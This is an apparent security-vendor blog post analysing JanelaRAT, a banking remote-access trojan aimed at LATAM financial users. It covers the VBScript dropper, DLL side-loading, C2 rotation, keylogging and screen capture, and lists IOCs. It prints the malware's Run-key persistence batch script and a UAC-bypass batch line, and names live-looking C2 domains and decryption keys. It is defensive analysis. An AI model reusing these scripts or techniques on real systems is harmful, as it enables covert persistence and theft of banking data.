JanelaRAT | ThreatLabz Zscaler Blog

zscaler.com/blogs/security-research/janelarat-repurposed-bx-rat-variant-targeting-latam-fintech

Introduction

In June of 2023, our research team at Zscaler ThreatLabz discovered a threat actor targeting FinTech users in the LATAM region. **JanelaRAT** involves several tactics, techniques, and procedures (TTPs) such as DLL side-loading, dynamic C2 infrastructure, and a multi-stage attack.

The final malware involved in this campaign is a heavily modified variant of BX RAT. Because of this, we named the malware: **JanelaRAT.**

This technical blog covers:

- Key Takeaways
- Attack Chain
- Technical Analysis
- Self-Defense Mechanisms
- Network and Communication
- Capabilities
- Relationship with BX RAT
- Our Findings on JanelaRAT
- Conclusion
- Zscaler Coverage
- Indicators of Compromise (IOCs)
- Appendix - Python Scripts to Help You Approach JanelaRAT

Key Takeaways

- **Financial Data in LATAM:** As of June 2023, JanelaRAT mainly targets financial and cryptocurrency data from LATAM bank and financial institutions.
- **New, Nefarious Capabilities:** JanelaRAT features a windows titles sensibility mechanism that allows the malware to capture window title data and send it to the threat attackers.
- **Strategic and Exploitative Behavior:** JanelaRAT employs a dynamic socket configuration system. The C2 infrastructure used by the threat attackers heavily abuses dynamic DNS services. Each domain is set up in the infrastructure to be active only on a certain day of the month.

- **Evasive Maneuvers:** JanelaRAT abuses DLL side-loading techniques from legitimate sources (like VMWare and Microsoft) to evade endpoint detection.
- **Origin of Threat Actor:** The developer of JanelaRAT is Portuguese-speaking. There is heavy use of Portuguese in the malware strings, metadata, decrypted strings, etc.

Attack Chain

This campaign involves a multi-stage infection chain with a moderate complexity level.

1. The attack chain is kick started by a **VBScript** sent inside **ZIP archives**. (At the time of writing this blog, we do not know exactly how these ZIP archives were distributed to the users.)
2. The **VBScript** performs two key actions:
    - It fetches a **ZIP archive** from the attackers' server
    - It drops a **BAT file** on the endpoint to prepare the system for the next stage of infection
3. The **ZIP archive** contains two components which are responsible for carrying out the rest of the infection chain and accomplish **DLL side-loading**.

The image below is a high-level view of the campaign’s attack chain.

Figure 1: End-to-end attack chain of the campaign used to distribute JanelaRAT

Technical Analysis

Scripts

VBScript Analysis

For the purposes of technical analysis, we used this VBScript with MD5 hash:

```
24c6bff8ebfd532f91ebe06dc13637cb
```

The code obfuscation in the VBScript is very primitive. After decoding all the strings in the VBScript, its purpose became evident to our team.

The main operations performed by the VBScript are as follows:

1. Drops a BAT file in the path: **C:\Users\Public** with a randomly generated 7-character alphanumeric name.
2. Downloads content from the URL: **hxxp://zimbawhite.is-certified[.]com:3001/clientes/6** and parses it to extract a base64-encoded ZIP archive.
3. Base64 decodes the content and saves the ZIP archive with a randomly generated 8-character alphanumeric file name.
4. Executes the BAT file.
5. Sleeps for 5 seconds and restarts the victim's machine.

We observed that the URL used to download the base64-encoded ZIP archive was actually hosting 44 different variants of the archives, all stored base64-encoded. Since the URL was active at the time of our analysis, we were able to download all 44 variants of the ZIP archives. A Python script is included in the Appendix section of this blog to help you automate this process.

The image below shows the web response when the URL is accessed directly without specifying the index. The response contains all 44 ZIP archives base64-encoded.

Figure 2: Base64-encoded ZIP archives received in web response from attacker's server

All these ZIP archives include components with different file hashes but similar functionality. This indicates that the main purpose of this method is evasion of file hash-based detection.

Batch Script Analysis

Batch script persistently triggers the JanelaRAT execution (via DLL side-loading)

```
@echo off
timeout /t 2 /nobreak >nul
xcopy /q C:\Users\Public\Q3xk0o\VCRUNTIME140.dll C:\Users\willi\AppData\Roaming
timeout /t 2 /nobreak >nul
xcopy /q C:\Users\Public\Q3xk0o\opdrde.exe C:\Users\willi\AppData\Roaming
timeout /t 2 /nobreak >nul
timeout /t 2 /nobreak >nul
ren  C:\Users\willi\AppData\Roaming\opdrde.exe IWf2u49.exe
timeout /t 2 /nobreak >nul
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v  MicrosoftEdgeAutoLaunch_ /d
C:\Users\willi\AppData\Roaming\IWf2u49.exe /f
set "pasta=C:\Users\Public\Q3xk0o"
rmdir /s /q "%pasta%"
```

The purpose of the batch script is to set up a persistent mechanism so the JanelaRat sample is automatically launched at each system reboot. This is achieved by:

1. Setting up a so-called RunKey. This allows a particular registry key hosting the path to a file and granting that file execution at reboot time.
2. The batch script set the RunKey to the legitimate executable included in the second compressed archive.
3. The execution of that file will cause the loading and execution of the JanelaRAT DLL.

The key name (**MicrosoftEdgeAutoLaunch_**) was chosen so it can appear innocuous, like the legitimate RunKey for the Microsoft Edge browser.

DLL side-loading

JanelaRAT comes in the form of a DLL side-loaded by a legitimate executable. Depending on the legitimate executable employed in the attack, the DLL may have different names.

We discovered these two:

- **VCRUNTIME140.dll:** side-loaded by **vmnat.exe**
- **msedge_elf.dll:** side-loaded by **identity_helper.exe**

The legitimate executable, which is included in the compressed archive with JanelaRat, is usually renamed.

In the table below, you can see metadata information of the JanelaRAT sample we used for technical analysis in this section

Metadata information of the analyzed JanelaRAT instance

Name	VCRUNTIME140.dll
MD5	c18edb805748b4bd5013ccb47f061c2a
SHA1	37df375be813d91e11795a75872479c1a656e951
SHA256	0c873439bc0af08fdf0c335c5a94752413fd096c0c2f1138f17e786bc5ce59c3

The DLL was developed in C# for Microsoft .NET 4.0 and the source code is protected by Eazobfuscator - a commercial code obfuscator for .NET assemblies.

The image below shows the assembly metadata containing clear-text strings in Portuguese, supporting our hypothesis about the threat attacker's intention to make JanelaRAT seem like a real cybersecurity tool. For instance:

- "Firewall de Rede" means network firewall
- "Plataforma de Segurança Mulitcanal" means multichannel security platform
- "Ferramenta de Segurança Inteligente" means smart security tool
- "Análise de Segurança de Banco de Dados" means database security analysis

At a glance, these seemingly legitimate security strings can make JanelaRAT appear like a real cybersecurity tool.

Figure 3: JanelaRAT impersonating as a cybersecurity tool using well-crafted metadata

Self-Defense Mechanisms

String encryption

Most of the JanelaRAT strings are encrypted and stored in a dedicated class as a form of anti-analysis. Each field of this class contains either an encrypted string or an array of encrypted strings. The string decryption algorithm can be broken down in the following steps:

1. The encrypted string is decoded using base64.
2. Once decoded, the string is decrypted. The decryption algorithm is **Rijndael AES** in **Cipher Block Chaining (CBC)** mode.
    - The decryption key is always the same for all the strings and, to the best of our knowledge, it is the same across the samples: the MD5 of the string **8521**.
    - The Initialization Vector (IV) varies for each string, being set to the first 16 bytes of the string decoded in the point above. The decryption is only applied to the remaining bytes.

We provide a Python implementation of this algorithm in the Appendix section of this blog.

Idle if inactive

JanelaRAT utilizes a basic self-protection mechanism to mitigate the risk of being detected.

- Every 5 seconds the malware checks the time elapsed from the system start to the last input event that occurred on the infected system.
- If this time span exceeds 10 minutes then the malware transitions into an idle state.
- While in the idle state, JanelaRAT stays silent by not exposing any unnecessarily risky behavior that might arouse suspicion.

The image below shows the method used to perform the inactivity check. The method call is a wrapper around the GetLastInputInfo native API, responsible for instantiating a LASTINPUTINFO data structure. The dwTime field of such a structure contains the milliseconds elapsed since the last input event. The method returns true if the amount of time passed from the system start (Environment.TickCount), to the last input received (dwTime), exceeds 10 minutes.

Figure 4: JanelaRAT checks if the infected system has been inactive (no input events) for more than 10 minutes

In the image below, you can see that:

- if the check returns true, the malware sets its internal state to "Idle"
- if the check returns false, the malware sets its internal state to "Active"

The state transition, regardless if true or false, is communicated to the threat attacker through the C2. You can see this in action in the image below.

Figure 5: JanelaRAT communicating state transition to threat actors using C2

Network and Communication

C2 check-in

Once it gets started, JanelaRAT makes a request to register the newly-infected host to the threat attacker’s network.

- The C2 domain is always the same: **cnt-blackrock.geekgalaxy[.]com**
- The HTTP verb is GET
- The User-Agent is hardcoded and rather peculiar: **VisaoAPP**

The image below shows that the GET request consists of four parameters.

Figure 4: JanelaRAT checks-in to the attacker's network of compromised hosts

JanelaRAT's request parameters to join attacker's network

Parameter	Description
op	Quadruple (OS major, OS minor, OS architecture code, OS integer pointers size). The quadruple is provided as a pipe-separated (“|”) string. Example: **0|4|2|32**
us	Role of the user logged in at the time of request. Supported values: **Admin**, **User**, **Convidado** (Guest in Portuguese), and **Desconhecido** (Unknown in Portuguese).
nm	Machine name
vs	Malware version string, e.g. **1.0.6.4**.

The malware makes this request attempt only if it doesn’t find a file named **fi.ini** in the temporary files directory. Any response from the server isn't handled.

C2 rotation and communication

The JanelaRAT configuration contains 32 domains used for C2 communication. Those domains are encrypted with the algorithm described earlier in the String Encryption section. The selection in that array is guided by the day of the month when making the request.

For example, the following table shows the domain array for all the JanelaRAT samples we analyzed.

JanelaRAT C2 domains

0	aigodmoney009[.]access[.]ly	**11**	myfunbmdablo99[.]hosthampster[.]com	**22**	minfintymexbr[.]geekgalaxy[.]com
1	freelascdmx979[.]couchpotatofries[.]org	**12**	irocketxmtm[.]hopto[.]me	**23**	cinfintymex[.]geekgalaxy[.]com
2	439mdxmex[.]damnserver[.]com	**13**	hotdiamond777[.]loginto[.]me	**24**	9mdxmex[.]damnserver[.]com
3	897midasgold[.]ddns[.]me	**14**	imrpc7987bm[.]mmafan[.]biz	**25**	ikmidasgold[.]ddns[.]me
4	disrupmoney979[.]ditchyourip[.]com	**15**	dmrpc77bm[.]myactivedirectory[.]com	**26**	rexsrupmoney979[.]ditchyourip[.]com
5	kakarotomx[.]dnsfor[.]me	**16**	jxjmrpc797bm[.]mydissent[.]net	**27**	kktkarotomx[.]dnsfor[.]me
6	skigoldmex[.]dvrcam[.]info	**17**	askmrpc747bm[.]mymediapc[.]net	**28**	megaskigoldmex[.]dvrcam[.]info
7	i89bydzi[.]dynns[.]com	**18**	myinfintyme09[.]geekgalaxy[.]com	**29**	izt89bydzi[.]dynns[.]com
8	infintymexbrock[.]geekgalaxy[.]com	**19**	infintymex747[.]geekgalaxy[.]com	**30**	zeedinfintymexbrock[.]geekgalaxy[.]com
9	brockmex57[.]golffan[.]us	**20**	infintymexb[.]geekgalaxy[.]com	**31**	zeedinfintymexbrock[.]geekgalaxy[.]com
10	j1d3c3mex[.]homesecuritypc[.]com	**21**	jinfintymexbr[.]geekgalaxy[.]com		

As you may notice, there is an extra domain at index 0 that will never be used by the C2 domain rotation algorithm. Furthermore, the domains for day 30 and day 31 are the same.

The C2 channel is implemented as a socket opened to the resolution IP of the daily C2 domain. The socket port is obtained by making a request for a text file named **16Psyche.txt**. This file contains just the port, encrypted with the algorithm discussed in the String Encryption section.

JanelaRAT implements a custom protocol to communicate with the C2. This protocol is defined by a hierarchy of classes representing the type of messages expected to be exchanged between the malware samples and the C2 server. We call those messages "packets" because this feature was imported from BX Rat, where all those classes implement the same interface called "packet". We found packets for:

- mouse inputs
- keyboard inputs
- screenshot captures
- and more

When any of those packets is instantiated to be shipped through the C2 channel, the instance is:

- serialized into an array of integers
- encrypted with a custom implementation of RC4 with key 8521
- compressed with a custom implementation of the LZ4 algorithm
- eventually sent through the C2 channel

The image below shows an example a packet class representing a sequence of keystrokes sent by the threat attacker to the malware so that they can be sent to the targeted window. This class defines specific fields (e.g., the string containing the keystrokes) with a method responsible for implementing the communication procedure.

Figure 5: Example of packet class used by JanelaRAT to implement its C2 communication procedure

Capabilities

Capture and check window data

JanelaRAT captures the content of windows title bars and checks if they are interesting for the threat attacker. "Interesting" titles will be related to financial and banking data.

The malware implements a periodic behavior triggered every second and consists of three consecutive stages.

Stage 1

At the first stage, JanelaRAT checks if it obtained a list of interesting title bars. If not, then the malware requests a text file named **kepler186f.txt** to the C2. The content is encrypted with the same algorithm used for the strings. (Since the campaign was still active at the time of analysis, we were able to download an instance of such a file.) Once decrypted, you can see that it consists of a pipe-separated ("|") list of capitalized windows titles.

You can see an excerpt of the decrypted content in the box below.

Excerpt from an instance of kepler186f.txt

```
BANCOAZTECATUBANCAENLNEASUEASDECIDESLOGRAS|BITCOIN|SOLANA|ACTINVER|ACCESOALSISTEMABURSANET|ACTINVERBA
ACCESOCONSULTADESALDOS|EACTINVER|ACCESOABANCABANCOAZTECA|BIENVENIDOSALABANCAENLNEABBVAMXICO|EMPRESA
OBIERNOEMPRESASBBVAMXICO|INDEXBBVANET|BBVANETCASH|SANTANDERMXICOSPARTEDELABANCAELECTRNICA|BITCOIN|BTC
LE|ETHEREUM|CASADEVECTOR|SANTANDER|SANTANDERM|ENLACESANTANDERCOMMXLOGBETENSCHANNELDRIVERSSOBTODSE
RATIONNAMELOGINDSENEXTEVENTNAMESTARTDSEPROCESSORSTATEINITIALNOWCHECKINGCOOKIES|BANCOSANTANDERS|BBC
XWEBCENTERPORTALBANBAJIOHOME|ELBANCODECONFIANZAPARAPERSONASPYMESGOBIERNOYAGRONEGOCIOS|BANCAPORIN
ETBBCOMMX| … [REDACTED]
```

Kepler186f.txt file content is parsed as an array of strings and stored as a class field for future use.

Stage 2

At the second stage, JanelaRAT checks the same DLL directory for the **block.blq** file.This file has a slightly different structure compared to the kepler186f.txt file. It is still composed of a single, pipe-separated, record but it only contains three fields:

- a timestamp,
- a base64-encoded image
- a list of dash-separated ("-") window titles

The image below shows a snippet, belonging to the malware code, implementing the parsing logic for block.blq. If the file is outdated, then the malware deletes it.

Figure 6: JanelaRAT code snippet implementing the parser for block.blq file content

The window titles included as the third field in block.blq are titles of windows the attacker wants to block. When the title of the foreground window is included in the block.blq, the malware attempts to close it. The blocking mechanism is implemented by invoking the SendMessage API with WM_CLOSE value for the Msg argument. JanelaRat also visualizes a dialog to the victim showing a fake error message.

Stage 3

At the third stage, the malware checks if the title of the window in the foreground is appealing. The check is made after grabbing the title, capitalizing it, and eventually dropping all non-alphabetical characters. By "appealing", we mean what was discussed at Stage 1 (i.e., the title was in a previously parsed instance of kepler186f.txt). If the check succeeds, JanelaRAT opens a C2 channel in the form of a socket as discussed earlier. This channel is later used for alerting the threat attacker about the victim opening interesting windows, sending key logs, mouse clicks, and implementing remote desktop sessions.

Acquire host profile details

JanelaRAT is capable of collecting and sending information about the compromised host to the attacker. This information is encapsulated in a packet containing the fields reported in the following table. As you can see, the field names don't always correlate with their actual content. Moreover, some fields are left to the default values. Those aspects suggest that the original malware source code has been eventually modified or repurposed to fit the new needs of the operator.

JanelaRAT sends basic information about the compromised host to the attacker

Field Name	Field Value
Version	JanelaRAT version string. Hardcoded as **1.0.6.4** for the sample discussed in this section. One of the few unencrypted strings embedded in the malware.
OperatingSystem	A pipe-separated string containing the following fields: OS version major, OS version minor, OS platform, integer pointers size. Example: **0|4|2|32**.
AccountType	A dash-separated string containing the following fields: Role of the user logged in at time of request. Supported values: **Admin**, **User**, **Convidado** (Guest in Portuguese), and **Desconhecido** (Unknown in Portuguese).

Field Name	Field Value
Country	A string containing the title of the last “interesting” window opened by the user. For interesting, we mean that is included in the content of the kepler186f.txt file (previously discussed). All non-alphabetical symbols are removed from the original title bar and the chars are upper-cased.
CountryCode	Empty string.
Region	Empty string.
City	Empty string.
ImageIndex	0

Track mouse movements

JanelaRAT is capable of sending mouse activity to through C2. It defines a packet class containing the following fields:

- x-position of the cursor
- y-position of the cursor
- a boolean value set to true if the left button of the mouse is clicked
- a boolean value set to true if the left button of the mouse was double clicked

Once serialized, an instance of this class is shipped.

Track system usage

JanelaRAT is capable of gathering additional information about the infected system usage.

System usage information gathered by JanelaRAT

Index	Element
0	User
1	[username of the user currently logged in]
2	PC
3	[machine name]
4	Ligado [connected in Portuguese, ed.]
5	[time elapsed since the last system reboot. It’s a string having the format **{0}d : {1}h : {2}m : {3}s** where {0}, {1}, {2}, {3} are placeholders for the number of days, hours, minutes, and seconds respectively]
6	IP
7	[comma-separated list of IP addresses currently associated with the infected system]

The malware assembles an array of strings containing the elements shown in the table above. Once assembled, the array is sent to the C2.

Open message boxes on the infected system

JanelaRAT gives a threat attacker the ability to open message boxes on the infected system, which may influence the behaviour of the user. After having shown the message box, the malware sends an acknowledgment to the C2. The acknowledge is another packet class containing a single field of type string called "Message" and instantiated with the value **Mensagem mostrada** ("Message shown" in Portuguese).

Perform actions

JanelaRAT is capable of performing a wide range of actions on the attacker’s behalf. Those actions are identified by an integer number called "Mode".

JanelaRAT is capable of performing action on behalf of the attacker

Mode	Description
1	Shuts down the infected system by issuing the shutdown shell command.
2	Suspends the infected system.

Mode	Description
5	Enables mouse synthesization. This mode allows the attacker to simulate the mouse and issue clicks or double-clicks for the left button.
6	Enables sleep for one second.
8	Enables sleep for one second.
9	Create a file named **1.bat** under the user directory. That file contains the following batch script: cmd /min /C set __COMPAT_LAYER=RUNASINVOKER && start #1 cmd /min /C REG ADD HKCUControl PanelDesktop /v Win8DpiScaling /t REG_DWORD /d 0x00000001 /f cmd /min /C REG ADD HKCUControl PanelDesktop /v LogPixels /t REG_DWORD /d 0x00000060 /f The purpose of this script is to fix potential errors in rendering fonts. This script is executed with **%SystemRoot%\taskmgr.exe** as its first argument, resulting in executing the Task Manager application without requesting administrative privileges. The task Manager window is immediately hidden by running ShowWindow API with the SW_HIDE value for the nCmdShow argument. Finally, 1.bat is removed.
10	Deletes the file **block.blq** if it exists in the same folder as JanelaRAT.
11	Sends a test email by starting a new process with **mailto:?subject=teste&body=teste**
12	Enables Desktop Windows Manager composition and sets the Aero Windows theme.
51	Disables mouse synthesization.
52	Shows the last selected window, waits 300 milliseconds, and eventually maximizes it.
80	Sends the **{DOWN}** key to the currently active application.
81	Sends the **{UP}** key to the currently active application.
82	Sends the **{TAB}** key to the currently active application.
99	Uninstalls any hook installed by JanelaRAT to monitor keyboard events and mouse events. *In this specific case, there is no acknowledgement sent back to the attacker when the operation completes.*

After an action is performed, with the exception of Mode 99, the malware sends a notification to the C2 by encapsulating Mode as the field of a packet class and shipping the serialized instance.

Capture screenshots

JanelaRAT is capable of capturing and shipping screenshots. It defines an packet class containing three fields:

- Janela (window, in Portuguese): Integer dictating the type of screenshot operation being requested. If Janela is set to 1, the malware captures a magnified screenshot. If Janela is set to 2, then the malware live-captures a screenshot and sends it through the C2.
- Mode: Integer that controls the encoding of the captured screenshot. If this field is set to a value bigger than 10, then the screenshot is encoded as a PNG, otherwise it is encoded as a JPG.
- Number: This field is not used.

Run in special execution modes

JanelaRat ships with the capability of running in special execution modes. Each execution mode affects the malware behaviour and it is identified by a label. The attacker may request the malware to operate in any of those modes.

As an example, when in **_blcoqueio_tempo_determinado** mode, the malware creates a new block.blq file with a limited duration in minutes. The purpose of this behaviour is to temporarily prevent the user from opening windows with specific titles. The file is created only if it doesn't already exist in the malware directory.

When in **_modal_inicial** mode, the malware shows a modal dialog that forces the user to interact with the malware by disabling user interaction with the main window. The foreground image for the dialog is obtained from C2. The malware registers a hook for both keyboard and mouse events.

When in **_modal_win_update** mode, JanelaRAT displays a fake alert warning the user to not shut the system down while the Windows updates are in progress. Most likely, this allows the attacker to operate on the compromised host while the fake warning is shown to the user.

Finally, when in **_modal_loading**, **modal_error**, or **modal_tocalm**, JanelaRAT operates in the same way: it shows an attacker-provided image to the user. The image is different in each mode, but we weren't able to obtain any of those at the time of analysis.

Relationship with BX Rat

BX Rat is a malware discovered in 2014 and is a fully-fledged Remote Access Trojan (RAT). BX Rat is capable of:

- shell command execution
- file download/upload
- directory exploration
- processes enumeration and killing
- process creation
- system information gathering
- remote desktop control
- and more

Figure 7: BX Rat event handlers - which indicate functionalities

Similarities between BX RAT and JanelaRAT

The threat attackers who created JanelaRAT took strong inspiration from the BX RAT code. In this section, we discuss similarities between BX RAT and JanelaRAT.

For BX Rat, we use an unpacked sample in circulation since 2014. The hashes are listed below:

Hashes of the BX RAT instance used to compare it with JanelaRAT

MD5	7e4592e02951be844a2ee603d75070a6
SHA1	be7e5282efe58018b462a5ba0a78a7f01108460d
SHA256	c6b3f1648f7137df91606f6aaaa6d25d672e18c8adcb178c6d8cdcf3148a3c81

C2 communication procedure

We believe the JanelaRAT developer imported the **C2 communication procedure** from BX Rat. As shown in the image below, BX RAT serializes a packet instance as an array of integers. This array is later encrypted and finally compressed with a custom implementation of the LZ4 algorithm. The same we observed in JanelaRAT. The encryption algorithm, at least in this BX RAT sample, is a different one since it consists of a custom implementation of AES instead of RC4 - like in JanelaRAT.

Regardless, the two images below show the similarity between the BX RAT C2 transmission procedure (top) and the corresponding code in JanelaRAT (bottom).

Figure 8: BX RAT serializes a packet instance as an array of integers

Figure 9: JanelaRAT serializes a packet instance as an array of integers

LZ4 Algorithm

The custom implementation of the LZ4 algorithm is the same in BX RAT (top image) and JanelaRAT (bottom image).

Figure 10: Excerpt of BX Rat custom implementation of LZ4 compression algorithm

Figure 11: Excerpt of JanelaRAT custom implementation of LZ4 compression algorithm

The packets system, namely those classes representing packets exchanged by JanelaRAT and the C2 server, was imported from BX RAT. The images below show an example of the Status packet sent by both malware strains to acknowledge the attacker about any activity committed on the infected hosts.
Regardless, the two images below show the similarity between the BX RAT packet system (top) and the corresponding code in JanelaRAT (bottom).

Figure 12: Example of packet class defined in BX Rat

Figure 13: Example of packet class defined in JanelaRAT

Differences between JanelaRAT and BX RAT

- JanelaRAT ships with just a subset of the features offered by BX RAT. The JanelaRAT developer didn't import shell commands execution functionality, or files and processes manipulation functionalities.

- On the other hand, the JanelaRAT developer invested more energy in developing new capabilities such as the windows titles sensibility mechanism and the dynamic socket configuration mechanism.

Based on these observations, we believe that JanelaRAT is being repurposed as a variant of BX RAT to create a new malware strain.

Our Findings on JanelaRAT

Let's take a look at our findings and what led our team to those conclusions.

Malware developer is Portuguese-speaking

As mentioned earlier, all the samples we used in this analysis contain strings in Portuguese. The strings appear in both messages directed to the user (e.g., error messages appearing in popups) and events shipped to the attacker through the C2 channel.

Threat actors are targeting banking and financial institutions in LATAM

We found old code indicating that threat actors are targeting financial institutions in LATAM. A particular string caught our attention because it shines light on the attacker's intentions. Like other strings, this one is encrypted and stored as a field of a configuration class. The string is shown, in both its encrypted and decrypted form, in the table below. As you can see, the decrypted string contains multiple references to window titles related to Latin American organizations operating in the banking and decentralized finance verticals.

Likely a string containing an older configuration for JanelaRAT

Encrypted Form	qh7JCRu6U5xLyPrGW510TeZJBdE9sJ1w6ZDiYtlU6xp4x+HCTK53f6HNpbr74MxVlQ/786Lt5lmdyEvbbYEr5yUYC 07Fo9gqDf9B53BAMlKtWBD/oXTmWgWq/cwhtKIkmTERTkxr49oJxl+4MQt5E5oH3CYrF0+ixqhxss3QTkccZE6Kg VeZdK4jJruk26MXH4csG02e0IIGK0HYsJgKOccjSxNOEdqUqZpVRki2W41Q8PMeekqY3i5cEyj+Meq/75bSLmaMI U0h68cT1CxylvfqaG3NQOlBYDaNW4XT66skZnHkXXy97P+fHVSx/nl/wZDKLGYjiNsvqTP4M48+yo0qt8RGyY5gT ekuDUkm9FYuow+rCxiu0uuS7z1zdgNfJwfctP+VoKU1iKADnQN3OgBSW0pcryYtUAyyl3kPEBZFfg82FJ9qru5UFF AEgSooBVfgCNuN+YwUwnXi2OsBcEaOMaV9f+CSxra8vceXsyrcPC1gD2AT+JGryCu0n21CQ57n6JymD6YyjL/G OEGzpYE06DTt5oHL8HHClxoJU5//P4n6lPnj+wZMq/kyn++vf7de02rHehqrbyGW6jfy/95oviQO759CNctkhpKBvJi9 rroKLOPgwT4LRJC0MNCwD+J8QVomwZII/SSFivvg6w==
Decrypted Form	OFF|NAO|dia06mx.est-a-la-maison.com|8022|BIENVENIDOSALABANCAENLNEABBVAMXICO|BIENVENIDOSA LABANCAENLNEABBVAMXICO|INDEXBBVANET|BBVANETCASH|SANTANDERMXICOSPARTEDELABANCAE LECTRNICA|SANTANDERM|BANCOSANTANDERSGOO|BANCONACIONALDEMXICOCITIBANAMEX|BANCAN ETCITIBANAMEXCOM|BANAMEX|BANORTEELBANCOFUERTEDEMXICO|BANORTEELBANCOFUERTEDEMX ICO|BINANCECORRETORADECRIPTOMOEDASPARABITCOINETHEREUMEALTCOINS|COMPREEVENDABIT COINRAPIDAMENTEPAXFUL|BITSOMSQUEUNEXCHANGEDECRIPTOUNASOLUCINCOMPLETA

In addition to the table above, you can infer locations from the first submission on VirusTotal for the VBScript. All the instances we were aware of at the time of analysis were first submitted from LATAM countries. Please see the table below for details:

Location of first submission for the VBScript

MD5 of the VBScript	Country of First Submission
8e7dc7fd611d286ff788ce5583f4d0f7	Mexico
cde203b715270f9d948704333630c0ee	Mexico
97704646c49406ab2bf5f80164bff55a	Mexico
be7d1742ac03106e5ae9a4d7b9320fd9	Mexico
e9d8743ccfb95b40210d056741c28dc6	Peru
7115d48c7a26ba5dbcbfdad6f2558f8b	Colombia
123eebaaa6db5a464fb6dc8bd165e15f	Colombia
7ac6d7857b77c27ebb4a1db9a176a86a	Colombia

Repurposing Remote Access Trojans (RATs)

The usage of original or modified commodity Remote Access Trojans (RATs) is common among threat actors operating in the LATAM region.

For example, **Blind Eagle** (aka **APT-C-36)** recently adopted this technique. You can read about it on TrendMicro or Check Point Research.

Abusing DNS services

Using dynamic DNS services to establish C2 channels from malware implants to the attacker's infrastructure is another technique adopted by Blind Eagle. You can read about it on BlackBerry's blog.

Conclusion

In conclusion, JanelaRAT's focus on harvesting LATAM financial data and its method of extracting window titles for transmission underscores its targeted and stealthy nature. With an adaptive approach utilizing dynamic socket configuration and exploiting DLL side-loading from trusted sources, JanelaRAT poses a significant threat.

In addition to staying on top of these threats, Zscaler's ThreatLabz team continuously monitors for new threats and shares its findings with the wider community.

Zscaler Coverage

Zscaler sandbox coverage

The image below shows the Zscaler cloud sandbox report for JanelaRAT's VBScript downloader.

Figure 14: Zscaler sandbox coverage

In addition, Zscaler's multilayered cloud security platform detects this campaign at various levels with the following threat names:

MITRE ATT&CK Mapping

ID	Technique Name	Annotation
T1587.001	Develop Capabilities: Malware	The attacker repurposed a known malware (BX Rat) to generate a new malware (JanelaRAT) and added a new set of features.
T1608.001	Stage Capabilities: Upload Malware	The attacker staged compressed archives containing samples of JanelaRAT on the infrastructure.
T1059.005	Command and Scripting Interpreter: Visual Basic	The attack chain includes the execution of a VBScript responsible for installing JanelaRAT.
T1059	Command and Scripting Interpreter	The attack chain includes the execution of a batch script responsible for setting up persistence for JanelaRAT.
T1547.001	Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder	Persistence is achieved by setting a RunKey.
T1574.002	Hijack Execution Flow: DLL Side-Loading	JanelaRAT is side-loaded by a legitimate executable delivered by the threat attacker on the infected system. DLL side-loading is used for defense evasion.
T1027.002	Obfuscated Files or Information: Software Packing	JanelaRAT is protected with a commercial packer called Eazobfuscator.
T1140	Deobfuscate/Decode Files or Information	JanelaRAT strings are stored and encrypted with AES and encoded in Base64. Furthermore, strings in the VBScript are obfuscated.
T1497.003	Virtualization/Sandbox Evasion: Time Based Evasion	JanelaRAT goes idle if the last input event occurred more than 10 minutes before the check.
T1132.001	Data Encoding: Standard Encoding	JanelaRAT encodes information transmitted to the C2 in Base64.
T1573.001	Encrypted Channel: Symmetric Cryptography	JanelaRat encrypts information transmitted to the C2 using AES.
T1095	Non-Application Layer Protocol	JanelaRAT establishes a socket-based C2 channel.
T1041	Exfiltration Over C2 Channel	JanelaRAT ships screenshots of the compromised system via the C2 channel.

Indicators of Compromise (IOCs)

MD5 hashes of Stage 1 compressed archives

- 526a0b2d142567d8078e24ab0758fad7
- e841f4691e5107fe360b1528384a96f0
- c39f75423862c1525f089a5e966b9d04
- 72c02b3181c763d0e67f060e91635a97
- 897e8483b673db70fdc5d3d111600cac
- c2f4cb0da89b4ea86ab5369a942428eb

- e56d8632db98b07d2b49423f7dd64b42
- 8b83e6b2d891cdf9250e9afd17081eab
- 999a9af2cd20a8c4bcf652e3523aafa3

MD5 hashes of VBScripts

- 51268b9681df47022c44af43f9d57255
- 24c6bff8ebfd532f91ebe06dc13637cb
- 1b72c12db8a37103a37cab5b3b14398c
- 397e407e63128e71089971e3b35dd253
- 172ca00d32a201f5e917bc4d73f720a1
- 505fab6d83ef86a4b12b5808047fa7f1
- 3870e4a4d86a34424ea47bdaa722cd89
- 44d9f29a81a2f2df83b6000165e8a06f
- f71471d7e94ef739a8ee44125023b750
- ec60bc4522fa58bfe9592abde33948a7
- 81618be603bca301ac156ed169444569
- ba2bd2d31cf591480b69e106b0e77b5c
- e2d7101f405ed88aba89bf39d56ee7a8
- 84919bf0583c0e6c04e606f34a1d56f3
- 48c189e5dfe28b9d2b32fd813a991adb
- e684e872213432320c78f56c72c88a8e
- c86fdacd8af28cb08ef406bc6d4fc5a7
- d057c499f440b77cfcad8d859d389915
- 36a8a7407f084b4ae461b6bb4dd0b65c
- 900445a57f462d0df130c3612e6caed7
- 691cc21dae6e320564f74d6372e94286
- b1e1134c82fdfe283948930089474574
- 0cf2707ce1dccd6054813cb9207bf3d4
- d1684fa84602a2d560b47dfe0f0779b4
- 2cbee69042a4d85ecfe6e55639b1b42a
- da48cd57e4b45cba63716bc2d53c4c76

Download URL for Stage 2 compressed archives

- http://zimbawhite[.]is-certified[.]com:3001/clientes/[1-44]
- http://45[.]42[.]160[.]55/

MD5 hashes of Stage 2 compressed archives

- 897e8483b673db70fdc5d3d111600cac
- b2aaee6945f75caa1c44bca3e2812993
- e166bd80341871c9d752537f80584334
- 3bbfc1f2e20ba8209d057c215303b2bf
- 4d62fc39e2586da78b65fff6dc844670
- aa3162289e7e848b7aeb19c8b85131fd
- 1fc6298c88b3ea2030cc0382369d0bb9
- 999a9af2cd20a8c4bcf652e3523aafa3
- 42eb945b1b881b2319a74af06b1037db
- 8ca3dd771adbba82d28ce7ba4a0b8c97
- e56d8632db98b07d2b49423f7dd64b42
- e841f4691e5107fe360b1528384a96f0
- 4a1465999cdd9ee687b72289df05eaa9
- 5335caa5d199eac6f67b2e911b6b1e37
- c39f75423862c1525f089a5e966b9d04
- e2f9e1dfb24c9deb7f4a3c0c5c1fd016
- 3ec6342286d5b699bc1fb2ef6598f906
- 526a0b2d142567d8078e24ab0758fad7
- 3cbe59c309f803fffdadcc69d3578a53
- 4c9c287103defb55b9e89278800e4025
- 7548edc03021561c4d7a1b386aaa7696
- 596de51352cbeb0d26d861e991889578
- 18ed52de642d3f3aab7c271804bd005a
